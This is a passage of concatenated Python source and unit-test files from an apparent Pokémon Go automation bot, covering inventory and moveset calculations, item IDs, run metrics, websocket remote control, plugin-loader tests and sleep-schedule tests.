        of energy to use, sometimes, a quick move with lower DPS will be
        better since it charges the charge move faster.  On the same note,
        sometimes a charge move that has lower DPS will be more optimal since
        it may require less energy or it may last for a longer period of time.

        Attacker have STAB (Same-type attack bonus - x1.25) pokemon have the
        same type as attack. So we add it to the "Combo DPS" of the moveset.

        The defender attacks in intervals of 1 second for the first 2 attacks,
        and then in intervals of 2 seconds for the remainder of the attacks.
        This explains why we see two consecutive quick attacks at the beginning
        of the match.  As a result, we add +2 seconds to the DPS calculation
        for defender DPS output.

        So to determine an optimal defensive moveset, we follow the same  method
        as we did for optimal offensive movesets, but instead calculate  the
        highest "Combo DPS" with an added 2 seconds to the quick move cool down.

        Note: critical hits have not yet been implemented in the game

        See http://pokemongo.gamepress.gg/optimal-moveset-explanation
        See http://pokemongo.gamepress.gg/defensive-tactics
        """

        # Prepare movesets
        movesets = []
        for fm in self.fast_attacks:
            for chm in self.charged_attack:
                movesets.append(Moveset(fm, chm, self.types, self.id))
        assert len(movesets) > 0

        # Calculate attack perfection for each moveset
        movesets = sorted(movesets, key=lambda m: m.dps_attack)
        worst_dps = movesets[0].dps_attack
        best_dps = movesets[-1].dps_attack
        if best_dps > worst_dps:
            for moveset in movesets:
                current_dps = moveset.dps_attack
                moveset.attack_perfection = \
                    (current_dps - worst_dps) / (best_dps - worst_dps)

        # Calculate defense perfection for each moveset
        movesets = sorted(movesets, key=lambda m: m.dps_defense)
        worst_dps = movesets[0].dps_defense
        best_dps = movesets[-1].dps_defense
        if best_dps > worst_dps:
            for moveset in movesets:
                current_dps = moveset.dps_defense
                moveset.defense_perfection = \
                    (current_dps - worst_dps) / (best_dps - worst_dps)

        return sorted(movesets, key=lambda m: m.dps, reverse=True)

    def _process_attacks(self, charged=False):
        # type: (bool) -> List[Attack]
        key = 'Fast Attack(s)' if not charged else 'Special Attack(s)'
        moves_dict = (ChargedAttacks if charged else FastAttacks).BY_NAME
        moves = []
        for name in self._data[key]:
            if name not in moves_dict:
                raise KeyError('Unknown {} attack: "{}"'.format(
                    'charged' if charged else 'fast', name))
            moves.append(moves_dict[name])
        moves = sorted(moves, key=lambda m: m.dps, reverse=True)
        assert len(moves) > 0
        return moves


class Pokemon(object):
    def __init__(self, data):
        self._data = data
        # Unique ID for this particular Pokemon
        self.unique_id = data.get('id', 0)
        # Id of the such pokemons in pokedex
        self.pokemon_id = data['pokemon_id']
        # Static information
        self.static = Pokemons.data_for(self.pokemon_id)

        # Combat points value
        self.cp = data['cp']
        # Base CP multiplier, fixed at the catch time
        self.cp_bm = data['cp_multiplier']
        # Changeable part of the CP multiplier, increasing at power up
        self.cp_am = data.get('additional_cp_multiplier', .0)
        # Resulting CP multiplier
        self.cp_m = self.cp_bm + self.cp_am

        # Current pokemon level (half of level is a normal value)
        self.level = LevelToCPm.level_from_cpm(self.cp_m)

        # Maximum health points
        self.hp_max = data['stamina_max']
        # Current health points
        self.hp = data.get('stamina', self.hp_max)
        assert 0 <= self.hp <= self.hp_max

        # Individial Values of the current specific pokemon (different for each)
        self.iv_attack = data.get('individual_attack', 0)
        self.iv_defense = data.get('individual_defense', 0)
        self.iv_stamina = data.get('individual_stamina', 0)

        # Basic Values of the pokemon (identical for all pokemons of one kind)
        base_attack = self.static.base_attack
        base_defense = self.static.base_defense
        base_stamina = self.static.base_stamina

        self.name = self.static.name
        self.nickname_raw = data.get('nickname', '')
        self.nickname = self.nickname_raw or self.name

        self.in_fort = 'deployed_fort_id' in data
        self.is_favorite = data.get('favorite', 0) is 1

        self.fast_attack = FastAttacks.data_for(data['move_1'])
        self.charged_attack = ChargedAttacks.data_for(data['move_2'])  # type: ChargedAttack

        # Individial values (IV) perfection percent
        self.iv = self._compute_iv_perfection()

        # IV CP perfection - kind of IV perfection percent but calculated
        #  using weight of each IV in its contribution to CP of the best
        #  evolution of current pokemon
        # So it tends to be more accurate than simple IV perfection
        self.ivcp = self._compute_cp_perfection()

        # Exact value of current CP (not rounded)
        self.cp_exact = _calc_cp(
            base_attack, base_defense, base_stamina,
            self.iv_attack, self.iv_defense, self.iv_stamina, self.cp_m)
        assert max(int(self.cp_exact), 10) == self.cp

        # Percent of maximum possible CP
        self.cp_percent = self.cp_exact / self.static.max_cp

        # Get moveset instance with calculated DPS and perfection percents
        self.moveset = self._get_moveset()

    def __str__(self):
        return self.name

    def __repr__(self):
        return self.name

    def update_nickname(self, new_nickname):
        self.nickname_raw = new_nickname
        self.nickname = self.nickname_raw or self.name

    def can_evolve_now(self):
        return self.has_next_evolution() and \
               self.candy_quantity >= self.evolution_cost

    def has_next_evolution(self):
        return self.static.has_next_evolution

    def has_seen_next_evolution(self):
        for pokemon_id in self.next_evolution_ids:
            if pokedex().captured(pokemon_id):
                return True
        return False

    @property
    def family_id(self):
        return self.static.family_id

    @property
    def first_evolution_id(self):
        return self.static.first_evolution_id

    @property
    def prev_evolution_id(self):
        return self.static.prev_evolution_id

    @property
    def next_evolution_ids(self):
        return self.static.next_evolution_ids

    @property
    def last_evolution_ids(self):
        return self.static.last_evolution_ids

    @property
    def candy_quantity(self):
        return candies().get(self.pokemon_id).quantity

    @property
    def evolution_cost(self):
        return self.static.evolution_cost

    @property
    def iv_display(self):
        return '{}/{}/{}'.format(self.iv_attack, self.iv_defense, self.iv_stamina)

    def _compute_iv_perfection(self):
        total_iv = self.iv_attack + self.iv_defense + self.iv_stamina
        iv_perfection = round((total_iv / 45.0), 2)
        return iv_perfection

    def _compute_cp_perfection(self):
        """
        CP perfect percent is more accurate than IV perfect

        We know attack plays an important role in CP, and different
        pokemons have different base value, that's means 15/14/15 is
        better than 14/15/15 for lot of pokemons, and if one pokemon's
        base def is more than base sta, 15/15/14 is better than 15/14/15.

        See https://github.com/jabbink/PokemonGoBot/issues/469

        So calculate CP perfection at final level for the best of the final
        evolutions of the pokemon.
        """
        variants = []
        iv_attack = self.iv_attack
        iv_defense = self.iv_defense
        iv_stamina = self.iv_stamina
        cp_m = LevelToCPm.MAX_CPM
        last_evolution_ids = self.last_evolution_ids
        for pokemon_id in last_evolution_ids:
            poke_info = Pokemons.data_for(pokemon_id)
            base_attack = poke_info.base_attack
            base_defense = poke_info.base_defense
            base_stamina = poke_info.base_stamina

            # calculate CP variants at maximum level
            worst_cp = _calc_cp(base_attack, base_defense, base_stamina,
                                0, 0, 0, cp_m)
            perfect_cp = _calc_cp(base_attack, base_defense, base_stamina,
                                  cp_multiplier=cp_m)
            current_cp = _calc_cp(base_attack, base_defense, base_stamina,
                                  iv_attack, iv_defense, iv_stamina, cp_m)
            cp_perfection = (current_cp - worst_cp) / (perfect_cp - worst_cp)
            variants.append(cp_perfection)

        # get best value (probably for the best evolution)
        cp_perfection = max(variants)
        return cp_perfection

    def _get_moveset(self):
        move1 = self.fast_attack
        move2 = self.charged_attack
        movesets = self.static.movesets
        current_moveset = None
        for moveset in movesets:  # type: Moveset
            if moveset.fast_attack == move1 and moveset.charged_attack == move2:
                current_moveset = moveset
                break

        if current_moveset is None:
            error = "Unexpected moveset [{}, {}] for #{} {}," \
                    " please update info in pokemon.json and create issue/PR" \
                .format(move1, move2, self.pokemon_id, self.name)
            # raise ValueError(error)
            logging.getLogger(type(self).__name__).error(error)
            current_moveset = Moveset(
                move1, move2, self.static.types, self.pokemon_id)

        return current_moveset


class Attack(object):
    def __init__(self, data):
        # self._data = data  # Not needed - all saved in fields
        self.id = data['id']
        self.name = data['name']
        self.type = Types.get(data['type'])
        self.damage = data['damage']
        self.duration = data['duration'] / 1000.0  # duration in seconds

        # Energy addition for fast attack
        # Energy cost for charged attack
        self.energy = data['energy']

        # Damage Per Second
        # recalc for better precision
        self.dps = self.damage / self.duration

        # Perfection of the attack in it's type (from 0 to 1)
        self.rate_in_type = .0

    @property
    def damage_with_stab(self):
        # damage with STAB (Same-type attack bonus)
        return self.damage * STAB_FACTOR

    @property
    def dps_with_stab(self):
        # DPS with STAB (Same-type attack bonus)
        return self.dps * STAB_FACTOR

    @property
    def effective_against(self):
        return self.type.attack_effective_against

    @property
    def weak_against(self):
        return self.type.attack_weak_against

    @property
    def energy_per_second(self):
        return self.energy / self.duration

    @property
    def dodge_window(self):
        # TODO:  Attack Dodge Window
        return NotImplemented

    @property
    def is_charged(self):
        return False

    def __str__(self):
        return self.name

    def __repr__(self):
        return self.name


class ChargedAttack(Attack):
    def __init__(self, data):
        super(ChargedAttack, self).__init__(data)

    @property
    def is_charged(self):
        return True


class Moveset(object):
    def __init__(self, fm, chm, pokemon_types=(), pokemon_id=-1):
        # type: (Attack, ChargedAttack, List[Type], int) -> None
        if len(pokemon_types) <= 0 < pokemon_id:
            pokemon_types = Pokemons.data_for(pokemon_id).types

        self.pokemon_id = pokemon_id
        self.fast_attack = fm
        self.charged_attack = chm

        # See Pokemons._process_movesets()
        # See http://pokemongo.gamepress.gg/optimal-moveset-explanation
        # See http://pokemongo.gamepress.gg/defensive-tactics

        fm_number = 100  # for simplicity we use 100

        fm_energy = fm.energy * fm_number
        fm_damage = fm.damage * fm_number
        fm_secs = fm.duration * fm_number

        # Defender attacks in intervals of 1 second for the
        #   first 2 attacks, and then in intervals of 2 seconds
        # So add 1.95 seconds to the quick move cool down for defense
        #   1.95 is something like an average here
        #   TODO: Do something better?
        fm_defense_secs = (fm.duration + 1.95) * fm_number

        chm_number = fm_energy / chm.energy
        chm_damage = chm.damage * chm_number
        chm_secs = chm.duration * chm_number

        damage_sum = fm_damage + chm_damage
        # raw Damage-Per-Second for the moveset
        self.dps = damage_sum / (fm_secs + chm_secs)
        # average DPS for defense
        self.dps_defense = damage_sum / (fm_defense_secs + chm_secs)

        # apply STAB (Same-type attack bonus)
        if fm.type in pokemon_types:
            fm_damage *= STAB_FACTOR
        if chm.type in pokemon_types:
            chm_damage *= STAB_FACTOR

        # DPS for attack (counting STAB)
        self.dps_attack = (fm_damage + chm_damage) / (fm_secs + chm_secs)

        # Moveset perfection percent for attack and for defense
        # Calculated for current pokemon kind only, not between all pokemons
        # So 100% perfect moveset can be weak if pokemon is weak (e.g. Caterpie)
        self.attack_perfection = .0
        self.defense_perfection = .0

        # TODO: True DPS for real combat (floor(Attack/200 * MovePower * STAB) + 1)
        # See http://pokemongo.gamepress.gg/pokemon-attack-explanation

    def __str__(self):
        return '[{}, {}]'.format(self.fast_attack, self.charged_attack)

    def __repr__(self):
        return '[{}, {}]'.format(self.fast_attack, self.charged_attack)


class Inventory(object):
    def __init__(self, bot):
        self.bot = bot
        self.pokedex = Pokedex()
        self.candy = Candies()
        self.items = Items()
        self.pokemons = Pokemons()
        self.refresh()
        self.item_inventory_size = None
        self.pokemon_inventory_size = None

    def refresh(self):
        inventory = self.bot.api.get_inventory()
        inventory = inventory['responses']['GET_INVENTORY']['inventory_delta']['inventory_items']
        for i in (self.pokedex, self.candy, self.items, self.pokemons):
            i.refresh(inventory)

        user_web_inventory = os.path.join(_base_dir, 'web', 'inventory-%s.json' % (self.bot.config.username))
        try:
            with open(user_web_inventory, 'w') as outfile:
                json.dump(inventory, outfile)
        except IOError as e:
            errmsg = '[x] Error while opening location file: user_web_inventory'

    def retrieve_inventories_size(self):
        """
        Retrieves the item inventory size
        :return: Nothing.
        :rtype: None
        """
        # TODO: Force to update it if the player upgrades its size
        if self.item_inventory_size is None or self.pokemon_inventory_size is None:
           player_data = self.bot.api.get_player()['responses']['GET_PLAYER']['player_data']
           self.item_inventory_size = player_data['max_item_storage']
           self.pokemon_inventory_size = player_data['max_pokemon_storage']

#
# Other

# STAB (Same-type attack bonus)
# Factor applied to attack of the same type as pokemon
STAB_FACTOR = 1.25
# Factor applied to attack when it's effective against defending pokemon type
EFFECTIVENESS_FACTOR = 1.25
# Factor applied to attack when it's weak against defending pokemon type
RESISTANCE_FACTOR = 0.8


_inventory = None  # type: Inventory


def _calc_cp(base_attack, base_defense, base_stamina,
             iv_attack=15, iv_defense=15, iv_stamina=15,
             cp_multiplier=.0):
    """
    CP calculation

    CP = (Attack * Defense^0.5 * Stamina^0.5 * CP_Multiplier^2) / 10
    CP = (BaseAtk+AtkIV) * (BaseDef+DefIV)^0.5 * (BaseStam+StamIV)^0.5 * Lvl(CPScalar)^2 / 10

    See https://www.reddit.com/r/TheSilphRoad/comments/4t7r4d/exact_pokemon_cp_formula/
    See https://www.reddit.com/r/pokemongodev/comments/4t7xb4/exact_cp_formula_from_stats_and_cpm_and_an_update/
    See http://pokemongo.gamepress.gg/pokemon-stats-advanced
    See http://pokemongo.gamepress.gg/cp-multiplier
    See http://gaming.stackexchange.com/questions/280491/formula-to-calculate-pokemon-go-cp-and-hp

    :param base_attack:   Pokemon BaseAttack
    :param base_defense:  Pokemon BaseDefense
    :param base_stamina:  Pokemon BaseStamina
    :param iv_attack:     Pokemon IndividualAttack (0..15)
    :param iv_defense:    Pokemon IndividualDefense (0..15)
    :param iv_stamina:    Pokemon IndividualStamina (0..15)
    :param cp_multiplier: CP Multiplier (0.79030001 is max - value for level 40)
    :return: CP as float
    """
    assert base_attack > 0
    assert base_defense > 0
    assert base_stamina > 0

    if cp_multiplier <= .0:
        cp_multiplier = LevelToCPm.MAX_CPM
        assert cp_multiplier > .0

    return (base_attack + iv_attack) \
        * ((base_defense + iv_defense)**0.5) \
        * ((base_stamina + iv_stamina)**0.5) \
        * (cp_multiplier ** 2) / 10


# Initialize static data in the right order
Types()  # init Types
LevelToCPm()  # init LevelToCPm
FastAttacks()  # init FastAttacks
ChargedAttacks()  # init ChargedAttacks
Pokemons()  # init Pokemons


#
# Usage helpers
# TODO : Complete the doc
# Only type return have been filled for now. It helps the IDE to suggest methods of the class.

def init_inventory(bot):
    """
    Initialises the cached inventory, retrieves data from the server.
    :param bot: Instance of the bot.
    :type bot: pokemongo_bot.PokemonGoBot
    :return: Nothing.
    :rtype: None
    """
    global _inventory
    _inventory = Inventory(bot)


def refresh_inventory():
    """
    Refreshes the cached inventory, retrieves data from the server.
    :return: Nothing.
    :rtype: None
    """
    _inventory.refresh()

def get_item_inventory_size():
    """
    Access to the Item inventory size.
    :return: Item inventory size.
    :rtype: int
    """
    _inventory.retrieve_inventories_size()
    return _inventory.item_inventory_size

def get_pokemon_inventory_size():
    """
    Access to the Item inventory size.
    :return: Item inventory size.
    :rtype: int
    """
    _inventory.retrieve_inventories_size()
    return _inventory.pokemon_inventory_size

def pokedex():
    """

    :return:
    :rtype: Pokedex
    """
    # Are new pokemons added to the pokedex ?
    return _inventory.pokedex


def candies():
    """

    :return:
    :rtype: Candies
    """
    return _inventory.candy


def pokemons():
    """

    :return:
    :rtype: Pokemons
    """
    return _inventory.pokemons


def items():
    """
    Access to the cached item inventory.
    :return: Instance of the cached item inventory.
    :rtype: Items
    """
    return _inventory.items


def types_data():
    """

    :return:
    :rtype: Types
    """
    return Types


def levels_to_cpm():
    """

    :return:
    :rtype: LevelToCPm
    """
    return LevelToCPm


def fast_attacks():
    """

    :return:
    :rtype: FastAttacks
    """
    return FastAttacks


def charged_attacks():
    """

    :return:
    :rtype: ChargedAttack
    """
    return ChargedAttacks






from enum import Enum


class Item(Enum):
    ITEM_UNKNOWN = 0
    ITEM_POKE_BALL = 1
    ITEM_GREAT_BALL = 2
    ITEM_ULTRA_BALL = 3
    ITEM_MASTER_BALL = 4
    ITEM_POTION = 101
    ITEM_SUPER_POTION = 102
    ITEM_HYPER_POTION = 103
    ITEM_MAX_POTION = 104
    ITEM_REVIVE = 201
    ITEM_MAX_REVIVE = 202
    ITEM_LUCKY_EGG = 301
    ITEM_INCENSE_ORDINARY = 401
    ITEM_INCENSE_SPICY = 402
    ITEM_INCENSE_COOL = 403
    ITEM_INCENSE_FLORAL = 404
    ITEM_TROY_DISK = 501
    ITEM_X_ATTACK = 602
    ITEM_X_DEFENSE = 603
    ITEM_X_MIRACLE = 604
    ITEM_RAZZ_BERRY = 701
    ITEM_BLUK_BERRY = 702
    ITEM_NANAB_BERRY = 703
    ITEM_WEPAR_BERRY = 704
    ITEM_PINAP_BERRY = 705
    ITEM_SPECIAL_CAMERA = 801
    ITEM_INCUBATOR_BASIC_UNLIMITED = 901
    ITEM_INCUBATOR_BASIC = 902
    ITEM_POKEMON_STORAGE_UPGRADE = 1001
    ITEM_ITEM_STORAGE_UPGRADE = 1002






import time
from datetime import timedelta


class Metrics(object):

    def __init__(self, bot):
        self.bot = bot
        self.start_time = time.time()
        self.dust = {'start': -1, 'latest': -1}
        self.xp = {'start': -1, 'latest': -1}
        self.distance = {'start': -1, 'latest': -1}
        self.encounters = {'start': -1, 'latest': -1}
        self.throws = {'start': -1, 'latest': -1}
        self.captures = {'start': -1, 'latest': -1}
        self.visits = {'start': -1, 'latest': -1}
        self.unique_mons = {'start': -1, 'latest': -1}
        self.evolutions = {'start': -1, 'latest': -1}

        self.releases = 0
        self.highest_cp = {'cp': 0, 'desc': ''}
        self.most_perfect = {'potential': 0, 'desc': ''}

        self.eggs = {'hatched': 0, 'next_hatching_km': 0}

    def runtime(self):
        return timedelta(seconds=round(time.time() - self.start_time))

    def xp_earned(self):
        return self.xp['latest'] - self.xp['start']

    def xp_per_hour(self):
        return self.xp_earned()/(time.time() - self.start_time)*3600

    def distance_travelled(self):
        return self.distance['latest'] - self.distance['start']

    def num_encounters(self):
        return self.encounters['latest'] - self.encounters['start']

    def num_throws(self):
        return self.throws['latest'] - self.throws['start']

    def num_captures(self):
        return self.captures['latest'] - self.captures['start']

    def captures_per_hour(self):
        """
        Returns an estimated number of pokemon caught per hour.
        :return: An estimated number of pokemon caught per hour.
        :rtype: float
        """
        return self.num_captures() / (time.time() - self.start_time) * 3600

    def num_visits(self):
        return self.visits['latest'] - self.visits['start']

    def num_new_mons(self):
        return self.unique_mons['latest'] - self.unique_mons['start']

    def num_evolutions(self):
        return self.evolutions['latest'] - self.evolutions['start']

    def earned_dust(self):
        return self.dust['latest'] - self.dust['start']

    def hatched_eggs(self, update):
        if (update):
            self.eggs['hatched'] += update
        return self.eggs['hatched']

    def next_hatching_km(self, update):
        if (update):
            self.eggs['next_hatching_km'] = update
        return self.eggs['next_hatching_km']

    def captured_pokemon(self, name, cp, iv_display, potential):
        if cp > self.highest_cp['cp']:
            self.highest_cp = \
                {'cp': cp, 'desc': '{} [CP: {}] [IV: {}] Potential: {} '
                    .format(name, cp, iv_display, potential)}

        if potential > self.most_perfect['potential']:
            self.most_perfect = \
                {'potential': potential, 'desc': '{} [CP: {}] [IV: {}] Potential: {} '
                    .format(name, cp, iv_display, potential)}
        return

    def released_pokemon(self, count=1):
        self.releases += count

    def capture_stats(self):
        request = self.bot.api.create_request()
        request.get_inventory()
        request.get_player()
        response_dict = request.call()
        try:
            self.dust['latest'] = response_dict['responses']['GET_PLAYER']['player_data']['currencies'][1]['amount']
            if self.dust['start'] < 0: self.dust['start'] = self.dust['latest']
            for item in response_dict['responses']['GET_INVENTORY']['inventory_delta']['inventory_items']:
                if 'inventory_item_data' in item:
                    if 'player_stats' in item['inventory_item_data']:
                        playerdata = item['inventory_item_data']['player_stats']

                        self.xp['latest'] = playerdata.get('experience', 0)
                        if self.xp['start'] < 0: self.xp['start'] = self.xp['latest']

                        self.visits['latest'] = playerdata.get('poke_stop_visits', 0)
                        if self.visits['start'] < 0: self.visits['start'] = self.visits['latest']

                        self.captures['latest'] = playerdata.get('pokemons_captured', 0)
                        if self.captures['start'] < 0: self.captures['start'] = self.captures['latest']

                        self.distance['latest'] = playerdata.get('km_walked', 0)
                        if self.distance['start'] < 0: self.distance['start'] = self.distance['latest']

                        self.encounters['latest'] = playerdata.get('pokemons_encountered', 0)
                        if self.encounters['start'] < 0: self.encounters['start'] = self.encounters['latest']

                        self.throws['latest'] = playerdata.get('pokeballs_thrown', 0)
                        if self.throws['start'] < 0: self.throws['start'] = self.throws['latest']

                        self.unique_mons['latest'] = playerdata.get('unique_pokedex_entries', 0)
                        if self.unique_mons['start'] < 0: self.unique_mons['start'] = self.unique_mons['latest']

                        self.visits['latest'] = playerdata.get('poke_stop_visits', 0)
                        if self.visits['start'] < 0: self.visits['start'] = self.visits['latest']

                        self.evolutions['latest'] = playerdata.get('evolutions', 0)
                        if self.evolutions['start'] < 0: self.evolutions['start'] = self.evolutions['latest']
        except KeyError:
            # Nothing we can do if there's no player info.
            return






import os


_base_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')






import threading
from socketIO_client import SocketIO, BaseNamespace


class WebsocketRemoteControl(object):


    def __init__(self, bot):
        self.bot = bot
        self.host, port_str = self.bot.config.websocket_server_url.split(':')
        self.port = int(port_str)
        self.sio = SocketIO(self.host, self.port)
        self.sio.on(
            'bot:process_request:{}'.format(self.bot.config.username),
            self.on_remote_command
        )
        self.thread = threading.Thread(target=self.process_messages)

    def start(self):
        self.thread.start()
        return self

    def process_messages(self):
        self.sio.wait()

    def on_remote_command(self, command):
        name = command['name']
        command_handler = getattr(self, name, None)
        if not command_handler or not callable(command_handler):
            self.sio.emit(
                'bot:send_reply',
                {
                    'response': '',
                    'command': 'command_not_found',
                    'account': self.bot.config.username
                }
            )
            return
        if 'args' in command:
            command_handler(*args)
            return
        command_handler()

    def get_player_info(self):
        request = self.bot.api.create_request()
        request.get_player()
        request.get_inventory()
        response_dict = request.call()
        inventory = response_dict['responses'].get('GET_INVENTORY', {})
        player_info = response_dict['responses'].get('GET_PLAYER', {})
        self.sio.emit(
            'bot:send_reply',
            {
                'result': {'inventory': inventory, 'player': player_info},
                'command': 'get_player_info',
                'account': self.bot.config.username
            }
        )






import imp
import sys
import pkgutil
import importlib
import unittest
import os
import shutil
import mock
from datetime import timedelta, datetime
from mock import patch, MagicMock
from pokemongo_bot.plugin_loader import PluginLoader, GithubPlugin
from pokemongo_bot.test.resources.plugin_fixture import FakeTask

PLUGIN_PATH = os.path.realpath(os.path.join(os.path.abspath(os.path.dirname(__file__)), '..', 'plugins'))

class PluginLoaderTest(unittest.TestCase):
    def setUp(self):
        self.plugin_loader = PluginLoader()

    def test_load_namespace_class(self):
        package_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'plugin_fixture')
        self.plugin_loader.load_plugin(package_path)
        loaded_class = self.plugin_loader.get_class('plugin_fixture.FakeTask')
        self.assertEqual(loaded_class({}, {}).work(), 'FakeTask')
        self.plugin_loader.remove_path(package_path)

    def test_load_zip(self):
        package_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'plugin_fixture_test.zip')
        self.plugin_loader.load_plugin(package_path)
        loaded_class = self.plugin_loader.get_class('plugin_fixture_test.FakeTask')
        self.assertEqual(loaded_class({}, {}).work(), 'FakeTaskZip')
        self.plugin_loader.remove_path(package_path)

    def copy_plugin(self):
        package_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'plugin_fixture')
        dest_path = os.path.join(PLUGIN_PATH, 'org_repo', 'plugin_fixture_tests')
        shutil.copytree(package_path, os.path.join(dest_path))
        with open(os.path.join(os.path.dirname(dest_path), '.sha'), 'w') as file:
            file.write('testsha')
        return dest_path

    def test_load_github_already_downloaded(self):
        dest_path = self.copy_plugin()
        self.plugin_loader.load_plugin('org/repo#testsha')
        loaded_class = self.plugin_loader.get_class('plugin_fixture_tests.FakeTask')
        self.assertEqual(loaded_class({}, {}).work(), 'FakeTask')
        self.plugin_loader.remove_path(dest_path)
        shutil.rmtree(os.path.dirname(dest_path))

    def copy_zip(self):
        zip_name = 'test-pgo-plugin-2d54eddde33061be9b329efae0cfb9bd58842655.zip'
        fixture_zip = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', zip_name)
        zip_dest = os.path.join(PLUGIN_PATH, 'org_test-pgo-plugin_2d54eddde33061be9b329efae0cfb9bd58842655.zip')
        shutil.copyfile(fixture_zip, zip_dest)

    @mock.patch.object(GithubPlugin, 'download', copy_zip)
    def test_load_github_not_downloaded(self):
        self.plugin_loader.load_plugin('org/test-pgo-plugin#2d54eddde33061be9b329efae0cfb9bd58842655')
        loaded_class = self.plugin_loader.get_class('test-pgo-plugin.PrintText')
        self.assertEqual(loaded_class({}, {}).work(), 'PrintText')
        dest_path = os.path.join(PLUGIN_PATH, 'org_test-pgo-plugin')
        self.plugin_loader.remove_path(os.path.join(dest_path, 'test-pgo-plugin'))
        shutil.rmtree(dest_path)

class GithubPluginTest(unittest.TestCase):
    def test_get_github_parts_for_valid_github(self):
        github_plugin = GithubPlugin('org/repo#sha')
        self.assertTrue(github_plugin.is_valid_plugin())
        self.assertEqual(github_plugin.plugin_parts['user'], 'org')
        self.assertEqual(github_plugin.plugin_parts['repo'], 'repo')
        self.assertEqual(github_plugin.plugin_parts['sha'], 'sha')

    def test_get_github_parts_for_invalid_github(self):
        self.assertFalse(GithubPlugin('org/repo').is_valid_plugin())
        self.assertFalse(GithubPlugin('foo').is_valid_plugin())
        self.assertFalse(GithubPlugin('/Users/foo/bar.zip').is_valid_plugin())

    def test_get_installed_version(self):
        github_plugin = GithubPlugin('org/repo#my-version')
        src_fixture = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'plugin_sha')
        dest = github_plugin.get_plugin_folder()
        shutil.copytree(src_fixture, dest)
        actual = github_plugin.get_installed_version()
        shutil.rmtree(dest)
        self.assertEqual('my-version', actual)

    def test_get_plugin_folder(self):
        github_plugin = GithubPlugin('org/repo#sha')
        expected = os.path.join(PLUGIN_PATH, 'org_repo')
        actual = github_plugin.get_plugin_folder()
        self.assertEqual(actual, expected)

    def test_get_local_destination(self):
        github_plugin = GithubPlugin('org/repo#sha')
        path = github_plugin.get_local_destination()
        expected = os.path.join(PLUGIN_PATH, 'org_repo_sha.zip')
        self.assertEqual(path, expected)

    def test_get_github_download_url(self):
        github_plugin = GithubPlugin('org/repo#sha')
        url = github_plugin.get_github_download_url()
        expected = 'https://github.com/org/repo/archive/sha.zip'
        self.assertEqual(url, expected)

    def test_is_already_installed_not_installed(self):
        github_plugin = GithubPlugin('org/repo#sha')
        self.assertFalse(github_plugin.is_already_installed())

    def test_is_already_installed_version_mismatch(self):
        github_plugin = GithubPlugin('org/repo#sha')
        plugin_folder = github_plugin.get_plugin_folder()
        os.mkdir(plugin_folder)
        with open(os.path.join(plugin_folder, '.sha'), 'w') as file:
            file.write('sha2')

        actual = github_plugin.is_already_installed()
        shutil.rmtree(plugin_folder)
        self.assertFalse(actual)

    def test_is_already_installed_installed(self):
        github_plugin = GithubPlugin('org/repo#sha')
        plugin_folder = github_plugin.get_plugin_folder()
        os.mkdir(plugin_folder)
        with open(os.path.join(plugin_folder, '.sha'), 'w') as file:
            file.write('sha')

        actual = github_plugin.is_already_installed()
        shutil.rmtree(plugin_folder)
        self.assertTrue(actual)

    def test_extract(self):
        github_plugin = GithubPlugin('org/test-pgo-plugin#2d54eddde33061be9b329efae0cfb9bd58842655')
        src = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'resources', 'test-pgo-plugin-2d54eddde33061be9b329efae0cfb9bd58842655.zip')
        zip_dest = github_plugin.get_local_destination()
        shutil.copyfile(src, zip_dest)
        github_plugin.extract()
        plugin_folder = github_plugin.get_plugin_folder()
        os.path.isdir(plugin_folder)
        sub_folder = os.path.join(plugin_folder, 'test-pgo-plugin')
        os.path.isdir(sub_folder)
        sha_file = os.path.join(github_plugin.get_plugin_folder(), '.sha')
        os.path.isfile(sha_file)

        with open(sha_file) as file:
            content = file.read().strip()
            self.assertEqual(content, '2d54eddde33061be9b329efae0cfb9bd58842655')

        shutil.rmtree(plugin_folder)






import unittest
from datetime import timedelta, datetime
from mock import patch, MagicMock
from pokemongo_bot.cell_workers.sleep_schedule import SleepSchedule
from tests import FakeBot


class SleepScheculeTestCase(unittest.TestCase):
    config = {'time': '12:20', 'duration': '01:05', 'time_random_offset': '00:05', 'duration_random_offset': '00:05'}

    def setUp(self):
        self.bot = FakeBot()
        self.worker = SleepSchedule(self.bot, self.config)

    def test_config(self):
        self.assertEqual(self.worker.time.hour, 12)
        self.assertEqual(self.worker.time.minute, 20)
        self.assertEqual(self.worker.duration, timedelta(hours=1, minutes=5).total_seconds())
        self.assertEqual(self.worker.time_random_offset, timedelta(minutes=5).total_seconds())
        self.assertEqual(self.worker.duration_random_offset, timedelta(minutes=5).total_seconds())

    @patch('pokemongo_bot.cell_workers.sleep_schedule.datetime')
    def test_get_next_time(self, mock_datetime):
        mock_datetime.now.return_value = datetime(year=2016, month=8, day=01, hour=8, minute=0)

        next_time = self.worker._get_next_sleep_schedule()
        from_date = datetime(year=2016, month=8, day=1, hour=12, minute=15)
        to_date = datetime(year=2016, month=8, day=1, hour=12, minute=25)

        self.assertGreaterEqual(next_time, from_date)
        self.assertLessEqual(next_time, to_date)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.datetime')
    def test_get_next_time_called_near_activation_time(self, mock_datetime):
        mock_datetime.now.return_value = datetime(year=2016, month=8, day=1, hour=12, minute=25)

        next = self.worker._get_next_sleep_schedule()
        from_date = datetime(year=2016, month=8, day=02, hour=12, minute=15)
        to_date = datetime(year=2016, month=8, day=02, hour=12, minute=25)

        self.assertGreaterEqual(next, from_date)
        self.assertLessEqual(next, to_date)

    @patch('pokemongo_bot.cell_workers.sleep_schedule.datetime')
    def test_get_next_time_called_when_this_days_time_passed(self, mock_datetime):
        mock_datetime.now.return_value = datetime(year=2016, month=8, day=1, hour=14, minute=0)

        next = self.worker._get_next_sleep_schedule()
        from_date = datetime(year=2016, month=8, day=02, hour=12, minute=15)
        to_date = datetime(year=2016, month=8, day=02, hour=12, minute=25)

        self.assertGreaterEqual(next, from_date)
        self.assertLessEqual(next, to_date)

    def test_get_next_duration(self):
        from_seconds = int(timedelta(hours=1).total_seconds())
        to_seconds = int(timedelta(hours=1, minutes=10).total_seconds())

        duration = self.worker._get_next_duration()

        self.assertGreaterEqual(duration, from_seconds)
